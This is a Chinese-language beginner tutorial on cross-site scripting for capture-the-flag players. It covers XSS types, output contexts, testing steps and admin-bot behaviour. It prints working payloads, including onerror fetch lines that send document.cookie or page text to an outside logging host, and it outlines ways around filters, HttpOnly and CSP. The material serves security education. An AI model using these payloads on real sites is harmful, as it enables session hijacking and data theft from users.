XSS 入门
XSS 入门
本文适合
第一次接触 XSS 的学习者。学完你能:理解三种 XSS 类型,识别输出位置,进行基本测试
XSS 是跨站脚本攻击。它的本质是:用户输入被页面当作 HTML 或 JavaScript 执行,而不是当作普通文本显示。
最小例子
后端把用户输入直接输出到页面:
<div>欢迎你,用户输入</div>如果输入:
<script>alert(1)</script>页面变成:
<div>欢迎你,<script>alert(1)</script></div>浏览器会执行脚本,这就是 XSS。
三种常见类型
反射型 XSS:输入在请求中,响应立刻把它输出。比如搜索框、错误提示。
存储型 XSS:输入被保存到数据库,其他用户访问页面时触发。比如留言板、昵称、个人简介。
DOM 型 XSS:漏洞主要发生在前端 JavaScript 中,页面脚本把 URL 或输入写入 DOM。
关键不是 payload,而是输出位置
同样的输入在不同位置需要不同处理。
在 HTML 文本中:
<div>这里</div>可能尝试标签。
在属性中:
<input value="这里">可能需要先闭合引号。
在 JavaScript 字符串中:
<script>var a = "这里";</script>需要考虑字符串闭合和 JS 语法。
常见测试
先不要直接上复杂 payload。先观察输入是否原样输出:
test123
<b>test</b>
"'看页面源代码,确认字符有没有被转义,比如 < 是否变成 <。
XSS 能做什么
在真实安全中,XSS 可以窃取 Cookie、执行用户操作、钓鱼、读取页面敏感数据。
在 CTF 中,常见目标是触发管理员机器人访问、读取 bot Cookie 或绕过过滤弹窗。
CTF 中的 Bot 机制
很多 XSS 题需要让管理员 bot 访问你的 payload。理解 bot 行为是解题关键。
常见 bot 行为特征:
- 是否执行 JavaScript:有些 bot 只发 HTTP 请求不执行 JS,有些会用无头浏览器。
- 是否携带 Cookie:如果 bot 携带了登录态 Cookie,XSS 可以偷取 Cookie 或执行操作。
- UA 特征:有些 bot 使用固定的 User-Agent,可以在日志中识别。
- 访问延迟:bot 通常在提交 URL 后 1-5 秒内访问。
判断方法:
- 先用 webhook.site 或 Burp Collaborator 测试 bot 是否会访问外部 URL。
- 测试 bot 是否执行 JS:放一个
<img src=x onerror=fetch('YOUR_URL')>看是否有请求。 - 测试 bot 的 Cookie:放一个
<script>fetch('YOUR_URL?c='+document.cookie)</script>。
常见误区
- 只会背
<script>alert(1)</script>。 - 不看输出位置。
- 不看字符是否被转义。
- 不区分浏览器执行和页面显示。
一句话判断
用户输入进入页面后被浏览器当作 HTML、属性、URL 或 JavaScript 执行,而不是作为普通文本显示,就要按 XSS 验证。
XSS 的第一步不是弹窗,而是确认输入出现在页面的哪个上下文。
题目中常见信号
- 搜索词、昵称、留言、反馈内容会原样出现在页面。
- 输入
<b>test</b>后页面变粗体。 - 输入
"、'后 HTML 属性被截断。 - URL hash 或 query 被前端脚本写入
innerHTML。 - 有"提交给管理员""report URL""bot 会访问"的功能。
- Cookie、localStorage 或页面中有 bot 才能看到的数据。
核心概念
XSS 的关键是浏览器解析上下文。相同字符在不同位置有不同逃逸方式:
HTML 文本 -> 需要形成标签或事件
HTML 属性 -> 需要闭合引号或进入事件属性
JavaScript 字符串 -> 需要闭合字符串并补齐语法
URL -> 可能用 javascript: 或数据 URL
DOM -> 看前端脚本如何写入页面CTF 中经常不是"弹 alert"结束,而是让管理员 bot 执行脚本并把 Cookie、页面内容或 CSRF 结果带出来。
最小分析流程
- 输入唯一标记,例如
xsstest123。 - 查看页面源代码和 DOM,确认输出位置。
- 测试
<、>、"、'是否被转义。 - 按上下文选择最小 payload。
- 如果有 bot,先用外带请求验证 bot 是否访问。
- 再验证 bot 是否执行 JavaScript。
- 最后读取目标数据或执行目标操作。
最小验证示例
HTML 文本上下文:
<img src=x onerror=alert(1)>属性上下文:
" autofocus onfocus=alert(1) x="DOM 测试:
/#<img src=x onerror=alert(1)>bot 外带验证:
<img src=x onerror="fetch('https://example.com/log?x=1')">如果外带平台收到请求,说明 bot 执行了脚本;如果只收到普通访问,没有 x=1,说明 bot 可能没有执行 JS 或 payload 没进入执行上下文。
常见利用 / 解题路线
路线总览:
路线一:反射型 XSS
适合输入在当前响应中立即出现。
找输出位置 -> 构造 payload -> 诱导 bot 访问 URL -> 外带数据路线二:存储型 XSS
适合留言、昵称、文章内容等被保存。
写入 payload -> 等待管理员访问 -> 外带 Cookie/页面内容/CSRF 结果路线三:DOM 型 XSS
适合前端脚本处理 location、hash、postMessage、innerHTML。
读 JS -> 找 source 和 sink -> 构造 URL/hash -> 浏览器触发路线四:过滤绕过
适合关键字或标签被过滤。
换上下文 -> 换事件属性 -> 大小写/编码/闭合变体 -> 找未过滤 sink更系统的绕过见 XSS进阶。
常见失败原因
- 只看页面显示:DOM 中可能已经转义,必须看源代码和元素属性。
- 上下文判断错:HTML、属性、JS 字符串 payload 不能混用。
- bot 不执行 JS:先做外带验证,不要直接偷 Cookie。
- Cookie 有 HttpOnly:脚本读不到 Cookie 时要考虑 CSRF 或读页面内容。
- CSP 限制脚本:内联脚本可能被拦,尝试已有脚本 gadget 或允许的源。
- payload 被 URL 编码破坏:提交前后要对比服务端实际收到的字符。
迷你案例
题目有留言板和管理员 bot。留言内容会显示为:
<div class="msg">用户留言</div>第一步提交:
<b>xsstest</b>页面变粗,说明 HTML 标签被执行。
第二步验证 bot:
<img src=x onerror="fetch('https://example.com/ping')">外带平台收到请求,说明 bot 执行 JS。
第三步读取 Cookie:
<img src=x onerror="fetch('https://example.com/log?c='+encodeURIComponent(document.cookie))">如果 Cookie 为空但页面有 flag,可以改为:
<img src=x onerror="fetch('https://example.com/log?html='+encodeURIComponent(document.body.innerText))">WP 要说明输出位置、bot 是否执行 JS、目标数据从哪里来。